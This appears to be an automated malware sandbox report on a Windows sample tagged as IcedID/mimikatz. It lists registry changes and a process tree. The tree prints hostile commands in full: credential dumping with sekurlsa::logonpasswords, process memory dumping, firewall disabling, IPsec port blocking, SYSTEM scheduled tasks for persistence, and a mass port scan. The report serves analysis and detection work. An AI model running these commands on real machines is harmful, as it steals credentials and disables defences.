\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates egqqwqb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs egqqwqb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs egqqwqb.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" ugnayrher.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\96-aa-ab-9a-d2-88\WpadDecisionTime = 908ee003248eda01 egqqwqb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings egqqwqb.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs egqqwqb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings egqqwqb.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs egqqwqb.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" ugnayrher.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{521FDE22-5FAA-410F-960E-A03AE1A35A32} egqqwqb.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" ugnayrher.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 egqqwqb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs egqqwqb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople egqqwqb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust egqqwqb.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 egqqwqb.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" ugnayrher.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs egqqwqb.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\96-aa-ab-9a-d2-88\WpadDecisionTime = 905995cf238eda01 egqqwqb.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{521FDE22-5FAA-410F-960E-A03AE1A35A32}\WpadDecisionReason = "1" egqqwqb.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" egqqwqb.exe - Modifies registry class 14 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ egqqwqb.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 egqqwqb.exe - Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
pid Process 2344 PING.EXE - Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
pid Process 2252 egqqwqb.exe 3236 egqqwqb.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe - Suspicious behavior: LoadsDriver 31 IoCs
pid Process 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found - Suspicious behavior: RenamesItself 1 IoCs
pid Process 1736 2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe - Suspicious use of AdjustPrivilegeToken 17 IoCs
description pid Process Token: SeDebugPrivilege 1736 2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2148 egqqwqb.exe Token: SeDebugPrivilege 2640 egqqwqb.exe Token: SeDebugPrivilege 2260 vfshost.exe Token: SeAuditPrivilege 1052 svchost.exe Token: SeDebugPrivilege 2312 ugnayrher.exe Token: SeShutdownPrivilege 2312 ugnayrher.exe Token: SeLockMemoryPrivilege 2132 hzbaub.exe Token: SeLockMemoryPrivilege 2132 hzbaub.exe Token: SeDebugPrivilege 1012 ugnayrher.exe Token: SeShutdownPrivilege 1012 ugnayrher.exe Token: SeDebugPrivilege 2404 ugnayrher.exe Token: SeShutdownPrivilege 2404 ugnayrher.exe Token: SeDebugPrivilege 3068 ugnayrher.exe Token: SeShutdownPrivilege 3068 ugnayrher.exe Token: SeDebugPrivilege 1820 ugnayrher.exe Token: SeShutdownPrivilege 1820 ugnayrher.exe - Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1736 2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe 1736 2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe 2148 egqqwqb.exe 2148 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 676 xohudmc.exe 1848 koaaya.exe 2252 egqqwqb.exe 2252 egqqwqb.exe 3236 egqqwqb.exe 3236 egqqwqb.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1736 wrote to memory of 1924 1736 2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe 28 PID 1736 wrote to memory of 1924 1736 2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe 28 PID 1736 wrote to memory of 1924 1736 2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe 28 PID 1736 wrote to memory of 1924 1736 2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe 28 PID 1924 wrote to memory of 2344 1924 cmd.exe 30 PID 1924 wrote to memory of 2344 1924 cmd.exe 30 PID 1924 wrote to memory of 2344 1924 cmd.exe 30 PID 1924 wrote to memory of 2344 1924 cmd.exe 30 PID 1924 wrote to memory of 2148 1924 cmd.exe 31 PID 1924 wrote to memory of 2148 1924 cmd.exe 31 PID 1924 wrote to memory of 2148 1924 cmd.exe 31 PID 1924 wrote to memory of 2148 1924 cmd.exe 31 PID 2640 wrote to memory of 2548 2640 egqqwqb.exe 33 PID 2640 wrote to memory of 2548 2640 egqqwqb.exe 33 PID 2640 wrote to memory of 2548 2640 egqqwqb.exe 33 PID 2640 wrote to memory of 2548 2640 egqqwqb.exe 33 PID 2548 wrote to memory of 2672 2548 cmd.exe 35 PID 2548 wrote to memory of 2672 2548 cmd.exe 35 PID 2548 wrote to memory of 2672 2548 cmd.exe 35 PID 2548 wrote to memory of 2672 2548 cmd.exe 35 PID 2548 wrote to memory of 2708 2548 cmd.exe 36 PID 2548 wrote to memory of 2708 2548 cmd.exe 36 PID 2548 wrote to memory of 2708 2548 cmd.exe 36 PID 2548 wrote to memory of 2708 2548 cmd.exe 36 PID 2548 wrote to memory of 2460 2548 cmd.exe 37 PID 2548 wrote to memory of 2460 2548 cmd.exe 37 PID 2548 wrote to memory of 2460 2548 cmd.exe 37 PID 2548 wrote to memory of 2460 2548 cmd.exe 37 PID 2548 wrote to memory of 2524 2548 cmd.exe 38 PID 2548 wrote to memory of 2524 2548 cmd.exe 38 PID 2548 wrote to memory of 2524 2548 cmd.exe 38 PID 2548 wrote to memory of 2524 2548 cmd.exe 38 PID 2548 wrote to memory of 2448 2548 cmd.exe 39 PID 2548 wrote to memory of 2448 2548 cmd.exe 39 PID 2548 wrote to memory of 2448 2548 cmd.exe 39 PID 2548 wrote to memory of 2448 2548 cmd.exe 39 PID 2548 wrote to memory of 3028 2548 cmd.exe 40 PID 2548 wrote to memory of 3028 2548 cmd.exe 40 PID 2548 wrote to memory of 3028 2548 cmd.exe 40 PID 2548 wrote to memory of 3028 2548 cmd.exe 40 PID 2640 wrote to memory of 2472 2640 egqqwqb.exe 41 PID 2640 wrote to memory of 2472 2640 egqqwqb.exe 41 PID 2640 wrote to memory of 2472 2640 egqqwqb.exe 41 PID 2640 wrote to memory of 2472 2640 egqqwqb.exe 41 PID 2640 wrote to memory of 2484 2640 egqqwqb.exe 43 PID 2640 wrote to memory of 2484 2640 egqqwqb.exe 43 PID 2640 wrote to memory of 2484 2640 egqqwqb.exe 43 PID 2640 wrote to memory of 2484 2640 egqqwqb.exe 43 PID 2640 wrote to memory of 2088 2640 egqqwqb.exe 45 PID 2640 wrote to memory of 2088 2640 egqqwqb.exe 45 PID 2640 wrote to memory of 2088 2640 egqqwqb.exe 45 PID 2640 wrote to memory of 2088 2640 egqqwqb.exe 45 PID 2640 wrote to memory of 2844 2640 egqqwqb.exe 47 PID 2640 wrote to memory of 2844 2640 egqqwqb.exe 47 PID 2640 wrote to memory of 2844 2640 egqqwqb.exe 47 PID 2640 wrote to memory of 2844 2640 egqqwqb.exe 47 PID 2844 wrote to memory of 2968 2844 cmd.exe 49 PID 2844 wrote to memory of 2968 2844 cmd.exe 49 PID 2844 wrote to memory of 2968 2844 cmd.exe 49 PID 2844 wrote to memory of 2968 2844 cmd.exe 49 PID 2844 wrote to memory of 2968 2844 cmd.exe 49 PID 2844 wrote to memory of 2968 2844 cmd.exe 49 PID 2844 wrote to memory of 2968 2844 cmd.exe 49 PID 2968 wrote to memory of 1632 2968 wpcap.exe 50
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:552
-
C:\Windows\TEMP\refblbart\hzbaub.exe"C:\Windows\TEMP\refblbart\hzbaub.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2132
-
-
C:\Users\Admin\AppData\Local\Temp\2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1736 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\ygyeuqcu\egqqwqb.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1924 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2344
-
-
C:\Windows\ygyeuqcu\egqqwqb.exeC:\Windows\ygyeuqcu\egqqwqb.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2148
-
-
-
C:\Windows\ygyeuqcu\egqqwqb.exeC:\Windows\ygyeuqcu\egqqwqb.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2640 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2548 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2672
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2708
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2460
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2524
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2448
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:3028
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Modifies data under HKEY_USERS
PID:2472
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Modifies data under HKEY_USERS
PID:2484
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵PID:2088
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\zakhayhsp\ybgqmsgtg\wpcap.exe /S2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2844 -
C:\Windows\zakhayhsp\ybgqmsgtg\wpcap.exeC:\Windows\zakhayhsp\ybgqmsgtg\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2968 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:1632
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:1784
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:628
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:2400
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵PID:2740
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:2748
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵PID:1264
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:2044
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:2272
-
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:1716
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1188
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:2276
-
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:1992
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:2888
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\zakhayhsp\ybgqmsgtg\kbybalanc.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\zakhayhsp\ybgqmsgtg\Scant.txt2⤵
- Loads dropped DLL
PID:2112 -
C:\Windows\zakhayhsp\ybgqmsgtg\kbybalanc.exeC:\Windows\zakhayhsp\ybgqmsgtg\kbybalanc.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\zakhayhsp\ybgqmsgtg\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:676
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\zakhayhsp\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\zakhayhsp\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:2144 -
C:\Windows\zakhayhsp\Corporate\vfshost.exeC:\Windows\zakhayhsp\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2260
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ybyywnzep" /ru system /tr "cmd /c C:\Windows\ime\egqqwqb.exe"2⤵PID:804
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2920
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ybyywnzep" /ru system /tr "cmd /c C:\Windows\ime\egqqwqb.exe"3⤵
- Creates scheduled task(s)
PID:1592
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "gyeqytqyg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ygyeuqcu\egqqwqb.exe /p everyone:F"2⤵PID:896
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:352
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "gyeqytqyg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ygyeuqcu\egqqwqb.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1820
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "lgeebityp" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\refblbart\hzbaub.exe /p everyone:F"2⤵PID:908
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2284
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "lgeebityp" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\refblbart\hzbaub.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:3052
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:2264
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:1500
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:1596
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:1284
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵PID:2552
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:2672
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:2448
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:3024
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:2488
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵PID:3004
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:2952
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2808
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:1016
-
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:840
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵PID:2168
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵PID:1656
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
PID:1424
-
-
-
C:\Windows\TEMP\zakhayhsp\ugnayrher.exeC:\Windows\TEMP\zakhayhsp\ugnayrher.exe -accepteula -mp 552 C:\Windows\TEMP\zakhayhsp\552.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2312
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵PID:2764
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
